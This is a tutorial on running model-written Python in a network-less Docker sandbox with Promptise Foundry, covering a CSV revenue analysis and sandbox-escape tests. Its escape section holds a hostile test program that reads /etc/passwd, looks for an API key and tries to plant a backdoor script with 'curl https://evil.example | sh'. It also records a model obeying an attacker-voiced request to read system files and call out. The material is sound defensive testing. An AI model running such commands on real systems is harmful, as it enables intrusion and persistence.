Ask a language model to add up a few hundred numbers and it will give you a confident answer that is slightly wrong. Ask it to write a Python program that adds them up, and the program gets it right every time. The catch is that you're now running code a model wrote, on your machine, and that code can be wrong, careless or steered by a prompt injection. This guide builds a code-action agent with Promptise Foundry: the model writes one Python program, the program runs in a Docker sandbox with no network, and the answer comes from real computation. You'll analyse a CSV, compare the result with a normal chat agent, try to break out of the sandbox, and see exactly where its limits are. Every snippet ran against Promptise Foundry 1.3 with Docker and OpenAI's gpt-5-mini, and every output is what it printed.
How do you run LLM-generated code safely?
Run it in a throwaway container that can't reach your files, your secrets or the network, and give it data only through functions you control. With Promptise Foundry, that's one argument on build_agent:
from promptise import build_agent
agent = await build_agent(
model="openai:gpt-5-mini",
servers={},
agent_pattern="code-action",
extra_tools=[load_orders],
)agent_pattern="code-action" changes how the agent works. Instead of chatting with tools one call at a time, the model writes a single Python program. Promptise starts a fresh Docker container for it with no network, a read-only system, and limits on CPU and memory, runs the program, and returns the line it prints as RESULT:. Your tools, here load_orders, stay on your side. The program can call them, but it never touches what's behind them.
[02]
How a code-action agent works
The program and your tools live on opposite sides of a container wall. They talk through files in the container's /workspace folder, so the container never needs a network connection.
Rendering diagram…
When the program calls load_orders(), a small stub inside the container writes a request file and waits. Promptise, on your machine, sees the request, runs the real tool, and writes the answer back. Each run gets a new container, which is removed afterwards. If the program crashes, the model gets the error once and can fix it.
Here's what the container gets when you let code-action create it. Step 1 shows how to read these settings back from Docker:
Setting | Default | What it means |
|---|---|---|
Network | none | No calling home, no downloads, no data going out |
Root filesystem | Read-only | The program can't change the system or plant files |
Writable space | /workspace (1 GB, set by disk_limit) and /tmp (no executables), both in memory | Scratch space that disappears with the container |
CPU | 2 cores | One program can't take over the machine |
Memory | 4 GB, no swap | Runaway allocations get killed |
Processes | 256 | A fork bomb runs out of room |
Linux capabilities | 40 dropped, no-new-privileges | No privilege escalation or raw network access |
Image | python:3.11-slim | Only the standard library is available |
[03]
What you need
Python 3.10 or newer.
Docker, installed and running: Docker Desktop on macOS and Windows, Docker Engine on Linux. There's no fallback without it. The sandbox is always a Docker container, optionally with the gVisor runtime.
Promptise Foundry 1.3.1 or newer with its sandbox extra, which adds the Docker SDK for Python. The plain promptise package doesn't include it; promptise[all] does too.
An API key for a model provider. This guide uses OpenAI.
pip install "promptise[sandbox]>=1.3.1"
export OPENAI_API_KEY="sk-..."If you skip the Docker SDK, or Docker isn't running, a code-action agent refuses to start. These are the two errors from this guide's machine: without the SDK, and with the SDK but no Docker daemon to talk to:
…
RuntimeError: agent_pattern='code-action' requires a working Docker sandbox, but it could not be initialized: The 'docker' package is required for the sandbox. Install it with: pip install 'promptise[sandbox]'
…
RuntimeError: agent_pattern='code-action' requires a working Docker sandbox, but it could not be initialized: Sandbox backend 'docker' is not available: Cannot connect to the Docker daemon (Error while fetching server API version: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory'))). Make sure Docker is installed and running.That refusal is deliberate: code-action never runs model-written code outside a container. The first run also downloads the python:3.11-slim image, about 210 MB.
[04]
Analyse a CSV with a code-action agent, step by step
The job: a CSV of 500 software orders from January to September 2026, and one question an analyst would ask. What was the revenue per region in Q3? Each row has a date, a region, a product, a quantity and a unit price, so the answer means filtering 500 rows and summing the products. That's easy for code and hard for a model doing arithmetic in its head.
Check that the sandbox starts
Before you hand a model a container, look at the container. SandboxManager is the same machinery the agent uses, and you can drive it directly. This script starts a sandbox with the settings code-action uses, runs a few commands in it, and asks Docker how the container was really configured:
import asyncio
import docker
from promptise.sandbox import SandboxManager
CHECKS = [
"python3 --version",
"id",
"touch /usr/hello",
"echo hi > /workspace/note.txt && cat /workspace/note.txt",
]
async def main():
# The same settings code-action uses when you don't pass your own.
async with SandboxManager({"network": "none"}) as manager:
session = await manager.create_session()
for command in CHECKS:
result = await session.execute(command)
print(f"$ {command}")
print((result.stdout + result.stderr).strip(), f"(exit {result.exit_code})")
# Ask Docker how the container was really started.
host = docker.from_env().containers.get(session.container_id).attrs["HostConfig"]
for key in ["NetworkMode", "ReadonlyRootfs", "NanoCpus", "Memory", "PidsLimit", "SecurityOpt", "Tmpfs"]:
print(f"{key}: {host[key]}")
print("CapDrop:", len(host["CapDrop"]), "capabilities")
asyncio.run(main())$ python3 --version
Python 3.11.14 (exit 0)
$ id
uid=0(root) gid=0(root) groups=0(root) (exit 0)
$ touch /usr/hello
touch: cannot touch '/usr/hello': Read-only file system (exit 1)
$ echo hi > /workspace/note.txt && cat /workspace/note.txt
hi (exit 0)
NetworkMode: none
ReadonlyRootfs: True
NanoCpus: 2000000000
Memory: 4294967296
PidsLimit: 256
SecurityOpt: ['no-new-privileges']
Tmpfs: {'/tmp': 'rw,noexec,nosuid,size=1073741824', '/var/tmp': 'rw,noexec,nosuid,size=536870912', '/workspace': 'rw,size=1073741824'}
CapDrop: 40 capabilitiesWhat to notice:
The system is read-only and `/workspace` is writable. That's the whole filesystem story: the program can write its scratch files and nothing else.
The program runs as root inside the container. Dropped capabilities and no-new-privileges keep that root weak, but it's still root on a kernel shared with the host. More on that in the limits.
There's a process limit. Since 1.3.0 the container gets pids_limit, 256 by default, so a fork bomb can't fill the machine with processes.
Docker's own profiles do the filtering. The sandbox uses Docker's default seccomp profile and, on Linux hosts with AppArmor, Docker's default AppArmor profile. Earlier versions printed a warning about a promptise-sandbox AppArmor profile they never loaded; since 1.3.0 that profile, and the warning, are gone.
Write the agent
To follow along, generate the CSV. On Python 3.12, the fixed seed reproduces the exact file used here:
import csv
import random
from datetime import date, timedelta
random.seed(15)
PRODUCTS = {"Starter": 29.0, "Team": 99.0, "Business": 249.0, "Enterprise": 899.0}
REGIONS = ["EMEA", "North America", "APAC", "LATAM"]
with open("orders.csv", "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(["order_id", "date", "region", "product", "quantity", "unit_price"])
for n in range(1, 501):
day = date(2026, 1, 1) + timedelta(days=random.randrange(273))
product = random.choice(list(PRODUCTS))
writer.writerow([
f"O-{n:04d}", day.isoformat(), random.choice(REGIONS), product,
random.randint(1, 12), PRODUCTS[product],
])The program can only see data you give it through tools. Write a plain function that reads the CSV and returns rows as dicts with real numbers. Structured return values arrive in the program as Python lists and dicts, so the model doesn't have to parse text.
import asyncio
import csv
import logging
from langchain_core.tools import tool
from promptise import build_agent
# Print the program the model writes, and what it printed in the sandbox.
logging.basicConfig(format="%(message)s")
logging.getLogger("promptise.engine.code_action").setLevel(logging.DEBUG)
@tool("load_orders")
def load_orders() -> list:
"""Return every order as a dict: order_id, date (YYYY-MM-DD), region, product, quantity, unit_price."""
with open("orders.csv") as f:
return [
{**row, "quantity": int(row["quantity"]), "unit_price": float(row["unit_price"])}
for row in csv.DictReader(f)
]
async def main():
agent = await build_agent(
model="openai:gpt-5-mini",
servers={},
agent_pattern="code-action",
extra_tools=[load_orders],
)
try:
result = await agent.ainvoke({"messages": [{"role": "user", "content": (
"What was the revenue per region in Q3 2026 (July to September)? "
"Revenue is quantity times unit price. Sort from highest to lowest."
)}]})
print(">>>", result["messages"][-1].content)
finally:
await agent.shutdown()
asyncio.run(main())Three details:
`servers={}` means no MCP servers. If you connect MCP servers, their tools are bridged into the program the same way as extra_tools.
The first line of the docstring is the API documentation. The model sees each tool as a Python function signature followed by that line, so name the fields it returns.
The debug logger is optional. It's the simplest way to see the program the model wrote, and you'll want to see it.
Run it and read the program
python code_agent.pycode-action program:
from promptise_tools import * # noqa
import json
import csv
from io import StringIO
from datetime import datetime
# load_orders is provided by the environment
# It should return orders in some form; handle multiple possible return types robustly.
orders_raw = load_orders()
…
if not (start_q3 <= dt <= end_q3):
continue
q = to_number(qty)
p = to_number(price)
revenue = q * p
# Normalize region as string
region_key = str(region).strip()
revenue_by_region[region_key] = revenue_by_region.get(region_key, 0.0) + revenue
…
# Prepare sorted list from highest to lowest revenue
sorted_regions = sorted(revenue_by_region.items(), key=lambda x: x[1], reverse=True)
# Round revenues to 2 decimals
result_list = [{"region": r, "revenue": round(v + 0.0, 2)} for r, v in sorted_regions]
# Print final result line as required
print("RESULT: " + json.dumps(result_list))
code-action exit=0 stdout='RESULT: [{"region": "North America", "revenue": 108664.0}, {"region": "LATAM", "revenue": 81328.0}, {"region": "EMEA", "revenue": 77689.0}, {"region": "APAC", "revenue": 65023.0}]\n' stderr=''
…
>>> [{"region": "North America", "revenue": 108664.0}, {"region": "LATAM", "revenue": 81328.0}, {"region": "EMEA", "revenue": 77689.0}, {"region": "APAC", "revenue": 65023.0}]The model wrote a 140-line program in one turn. Most of it is defensive: Promptise tells the model to handle tool results that might be strings, so it checks every shape the data could take and every spelling of every field name. When this guide was first written, the same kind of fallback in the model's program parsed unknown strings with eval(); this time it used json.loads and the csv module. You can't count on either. On your laptop, eval() on data from a tool is how a malicious record becomes code. In the sandbox it's an ugly line with nowhere to go. That's the case for a sandbox in one line.
Notice too what the answer is: the RESULT: line, exactly as the program printed it. Code-action doesn't write prose around it. If you need a friendly sentence, ask for one in the question, or pass the result to a second call.
Check the answer, and compare with a chat agent
Code gives you an answer you can check. This is the same calculation in plain Python, without any model:
import csv
from collections import defaultdict
revenue = defaultdict(float)
with open("orders.csv") as f:
for row in csv.DictReader(f):
if "2026-07-01" <= row["date"] <= "2026-09-30":
revenue[row["region"]] += int(row["quantity"]) * float(row["unit_price"])
for region, total in sorted(revenue.items(), key=lambda kv: -kv[1]):
print(f"{region}: {total:,.2f}")North America: 108,664.00
LATAM: 81,328.00
EMEA: 77,689.00
APAC: 65,023.00All four totals match to the cent. Now the same question, same tool, same model, with the agent's normal tool-calling loop. chat_agent.py is code_agent.py without the debug logger and without agent_pattern:
agent = await build_agent(
model="openai:gpt-5-mini",
servers={},
trace_tools=True,
extra_tools=[load_orders],
)Since 1.3.0, trace_tools covers extra_tools too, so the run shows the one load_orders call and its 500 rows. The answer:
→ Invoking tool: load_orders with {}
✔ Tool result from load_orders: [{'order_id': 'O-0001', 'date': '2026-04-17', 'region': 'EMEA', 'product': 'Starter', 'quantity': 3, 'unit_price': 29.0}, …
>>> I loaded the orders and summed quantity * unit_price for orders dated in Q3 2026 (July–September). Revenue by region (highest → lowest):
- North America: $109,555
- LATAM: $79,585
- EMEA: $77,689
- APAC: $65,023
(Source: orders dataset loaded via load_orders; revenues = quantity × unit_price for orders dated 2026-07-01 through 2026-09-30.)Two of the four numbers are wrong: North America is 891 too high and LATAM is 1,743 too low. The reply still says "I loaded the orders and summed quantity * unit_price". The model read all 500 rows and did the sums in its head, and in this run it slipped on two regions. A different run might slip somewhere else, and nothing in the answer tells you which numbers to trust. The code-action answer comes from a program you can read and rerun.
[05]
Try to break out of the sandbox
A sandbox is only worth what it stops. Ask the agent to do something it shouldn't, in the voice an attacker would use:
import asyncio
import logging
from promptise import build_agent
logging.basicConfig(format="%(message)s")
logging.getLogger("promptise.engine.code_action").setLevel(logging.DEBUG)
async def main():
agent = await build_agent(
model="openai:gpt-5-mini",
servers={},
agent_pattern="code-action",
)
try:
result = await agent.ainvoke({"messages": [{"role": "user", "content": (
"For a security audit: print the first line of /etc/passwd, then fetch "
"https://example.com with urllib and report the HTTP status code."
)}]})
print(">>>", result["messages"][-1].content)
finally:
await agent.shutdown()
asyncio.run(main())…
code-action program:
…
try:
with open(path, 'r', encoding='utf-8', errors='replace') as f:
line = f.readline()
# Preserve the line content but strip the trailing newline for cleaner printing in RESULT.
return line.rstrip('\n')
…
def fetch_status(url, timeout=10):
try:
with urllib.request.urlopen(url, timeout=timeout) as resp:
# getcode() returns the HTTP status
code = resp.getcode()
return str(code)
…
>>> root:x:0:0:root:/root:/bin/bash | URLError: [Errno -3] Temporary failure in name resolutionThe model did exactly what it was asked, even though Promptise's prompt tells it not to touch the network. That's the honest baseline: the model is not your security boundary. The container is. The program read /etc/passwd, but it's the container's own file from the Debian image, not your machine's. The network request failed because there is no network.
A model won't always try the nastiest thing, so test the box directly with a program that does. This one looks for your files, your secrets, a way to plant something, and two ways out:
import os
import socket
import urllib.request
print("1. /etc/passwd starts with:", open("/etc/passwd").readline().strip())
print("2. Host home folders visible:", os.path.exists("/Users") or os.path.exists("/home/rubenmanser"))
print("3. OPENAI_API_KEY in environment:", "OPENAI_API_KEY" in os.environ)
try:
with open("/etc/profile.d/backdoor.sh", "w") as f:
f.write("curl https://evil.example | sh")
print("4. Wrote to /etc: yes")
except OSError as exc:
print("4. Wrote to /etc:", exc)
try:
urllib.request.urlopen("https://example.com", timeout=5)
print("5. Network by name: reached example.com")
except Exception as exc:
print("5. Network by name:", exc)
try:
socket.create_connection(("1.1.1.1", 443), timeout=5)
print("6. Network by IP: connected to 1.1.1.1")
except OSError as exc:
print("6. Network by IP:", exc)Run it in a sandbox with the code-action settings. The API key is set in the shell that starts this script:
import asyncio
import shlex
from pathlib import Path
from promptise.sandbox import SandboxManager
async def main():
program = Path("hostile.py").read_text()
async with SandboxManager({"network": "none"}) as manager:
session = await manager.create_session()
result = await session.execute(f"python3 -c {shlex.quote(program)}")
print(result.stdout + result.stderr)
asyncio.run(main())1. /etc/passwd starts with: root:x:0:0:root:/root:/bin/bash
2. Host home folders visible: False
3. OPENAI_API_KEY in environment: False
4. Wrote to /etc: [Errno 30] Read-only file system: '/etc/profile.d/backdoor.sh'
5. Network by name: <urlopen error [Errno -3] Temporary failure in name resolution>
6. Network by IP: [Errno 101] Network is unreachableSix attempts, six dead ends. The host's folders aren't mounted. Your environment variables, including the API key in the parent process, don't cross into the container. The system can't be changed, and there's no route out, by name or by IP address.
[06]
Set your own limits without opening the network
You'll want tighter limits than 4 GB and 2 cores for most jobs. Pass a dict as sandbox=. Before Promptise 1.3.0 that was a trap: your own dict fell back to the restricted network, which the default image couldn't enforce, and the escape agent with only a memory limit added reached example.com. Since 1.3.0, every sandbox uses network="none" unless you set it, and unknown settings are refused. You can check both without starting a container:
from promptise.sandbox import SandboxConfig
for settings in ({}, {"memory_limit": "512M"}, {"network_mode": "none"}):
try:
config = SandboxConfig(**settings)
print(f"{settings}: network={config.network.value}, pids_limit={config.pids_limit}, disk_limit={config.disk_limit}")
except ValueError as exc:
print(f"{settings}: {type(exc).__name__}: {exc.errors()[0]['msg'] if hasattr(exc, 'errors') else exc}"){}: network=none, pids_limit=256, disk_limit=1G
{'memory_limit': '512M'}: network=none, pids_limit=256, disk_limit=1G
{'network_mode': 'none'}: ValidationError: Value error, Unknown sandbox option(s): 'network_mode': use 'network' ("none", "restricted" or "full"). Valid options: backend, image, cpu_limit, memory_limit, disk_limit, pids_limit, network, persistent, timeout, workdir, env, allow_sudo, runtime, read_only_rootfsA dict with only a memory limit keeps the network closed, and network_mode, the spelling older docs used, is refused with a hint instead of being ignored. If you do need network="restricted" (DNS, HTTP and HTTPS only), it now installs its egress filter before any code runs, and the session refuses to start if it can't. Naming the network yourself still documents the intent. Here's the escape agent with a memory limit:
agent_pattern="code-action",
sandbox={"network": "none", "memory_limit": "512M"},…
[promptise] Sandbox ready for code-action (backend: docker)
…
>>> root:x:0:0:root:/root:/bin/bash || ERROR: <urlopen error [Errno -3] Temporary failure in name resolution>No way out, with the memory limit in place.
The limits themselves work. This script gives a sandbox 256 MB and a 5-second time limit, then breaks both:
import asyncio
from promptise.sandbox import SandboxManager
GREEDY = "python3 -c 'blocks = [bytearray(50_000_000) for _ in range(20)]; print(\"got 1 GB\")'"
SLOW = "python3 -c 'while True: pass'"
async def main():
config = {"network": "none", "memory_limit": "256M", "cpu_limit": 1, "timeout": 5}
async with SandboxManager(config) as manager:
session = await manager.create_session()
result = await session.execute(GREEDY)
print(f"memory: exit {result.exit_code}, output {result.stdout + result.stderr!r}")
result = await session.execute(SLOW)
print(f"time: exit {result.exit_code}, timed out {result.timeout}, {result.stderr!r}")
asyncio.run(main())…
memory: exit 137, output ''
time: exit -1, timed out True, 'Command timed out after 5 seconds; its processes were killed'Exit code 137 means the kernel killed the program when it went over 256 MB. The endless loop came back as timed out after 5 seconds, and since 1.3.0 the loop is also killed inside the container, together with any processes it started, as the result says. Before 1.3.0 it kept running.
In code-action, the program's own time limit is separate from the sandbox timeout. It's 120 seconds by default. Since 1.3.0, build_agent(code_action={"exec_timeout": 60, "max_repairs": 2, "max_tool_calls": 10}) sets it, along with the number of repair attempts (default 1) and the cap on tool calls per run (default 50).
[07]
Give the agent a shell instead
There's a second mode. Pass sandbox= without agent_pattern="code-action", and the agent keeps its normal tool loop but gets five tools for one long-lived container: sandbox_exec, sandbox_read_file, sandbox_write_file, sandbox_list_files and sandbox_install_package. It suits open-ended work where the agent explores step by step.
agent = await build_agent(
model="openai:gpt-5-mini",
servers={},
sandbox={"network": "none"},
trace_tools=True,
)Before 1.3.0 this mode had a bug you'd hit straight away: sandbox_write_file copied files in through Docker's archive API, which Docker refuses on a read-only container, so writing /workspace/fib.py failed with container rootfs is marked read-only.
Since 1.3.0, sandbox_write_file and SandboxSession.write_file write files from inside the container, in base64 slices, to a temporary name that's renamed into place, so writes to /workspace work and missing folders are created. In this guide's run, the shell agent wrote /workspace/scripts/fib.py with sandbox_write_file and ran it. escape_test.py above passes the program through the shell, which works in every version. Code-action was never affected: it writes its files from inside the container.
This mode fails closed too. Since 1.3.0, if Docker isn't available, build_agent raises instead of building the agent without the sandbox tools, as earlier versions did:
…
RuntimeError: sandbox={'network': 'none'} requires a working Docker sandbox, but it could not be initialized: Sandbox backend 'docker' is not available: Cannot connect to the Docker daemon (Error while fetching server API version: ('Connection aborted.', FileNotFoundError(2, 'No such file or directory'))). Make sure Docker is installed and running.[08]
Honest limits
A Docker sandbox with no network stops the attacks above. It isn't a security product for hostile multi-tenant code, and Promptise 1.3 has limits you should know before you rely on it:
Root in a container is not root in a VM. The program runs as root on a kernel it shares with the host, with capabilities dropped and Docker's default seccomp filter. For untrusted input, use the gVisor backend, {"backend": "gvisor", "network": "none"}, which adds a user-space kernel. It needs runsc installed into Docker on a Linux host. Without it, the sandbox refuses to start and says that runsc isn't registered with Docker, listing the runtimes that are.
Only the standard library. The default image has no pandas or numpy. sandbox_install_package installs into /workspace, but it needs a network, and the default is none. Build an image with what you need and set image.
Writable space lives in memory. /workspace is a tmpfs sized by disk_limit (1 GB by default), and it counts toward memory_limit.
The reply is the `RESULT:` line as printed. Since 1.3.0, code-action also gives the program-writing model the earlier turns of the conversation, but it still answers with what the program prints.
A new container per run. Start-up time is added to every question, and to every repair attempt.
The bridge is a door you open on purpose. The program can call every tool the agent has, as often as the tool-call cap allows (50 by default). Give a code-action agent only the tools it needs. If you pass approval= to build_agent, the bridged calls go through it too.
[09]
Frequently asked questions
What is a code-action agent?
An agent that answers by writing and running a program instead of calling tools one at a time. The model writes one Python program that calls your tools as functions and computes the answer, and the program runs in a sandbox. It's best for "gather the data, then calculate" tasks: totals, averages, joins and counts. For conversation and one-off lookups, a normal tool loop is simpler and faster.
Is Docker enough to sandbox AI agent code?
For code from your own model working on your own data, a locked-down container with no network is a reasonable boundary, and the escape attempts above show what it stops. Containers share the host kernel, so a kernel bug can break the wall. For code influenced by untrusted users, add gVisor, or run sandboxes on a separate machine or VM.
Can the agent use pandas or install packages?
Not with the defaults. The python:3.11-slim image has only the standard library, and installing packages needs a network, which the sandbox doesn't have by default. Build your own image with the packages baked in and pass it as image in the sandbox settings. That keeps the network closed and makes runs repeatable.
Does it work without Docker?
No. Code-action refuses to start without a working Docker sandbox, so model-written code never runs on your machine directly. Since 1.3.0 the shell mode, sandbox= without code-action, refuses to start too.
How is this different from a code interpreter tool?
A code interpreter is usually one tool among many: the model chats, calls the interpreter when it decides to, and reads the output. Code-action makes the program the whole answer. Your other tools become functions the program calls, so fetching and computing happen in one deterministic run instead of a long conversation.
[10]
Where to go next
Code-Action guide: the bridge, repair, and when to use the pattern.
Sandbox: every sandbox setting and the SandboxManager API.
Reasoning Patterns: code-action next to ReAct and the other built-in patterns.
Human approval: put a person in front of tools that change things, including bridged calls.
How to Connect MCP Servers to Your AI Agent in Python: give the program real data sources through MCP.
OpenAPI to MCP: Turn Any REST API into an MCP Server: turn your API into tools a code-action program can call.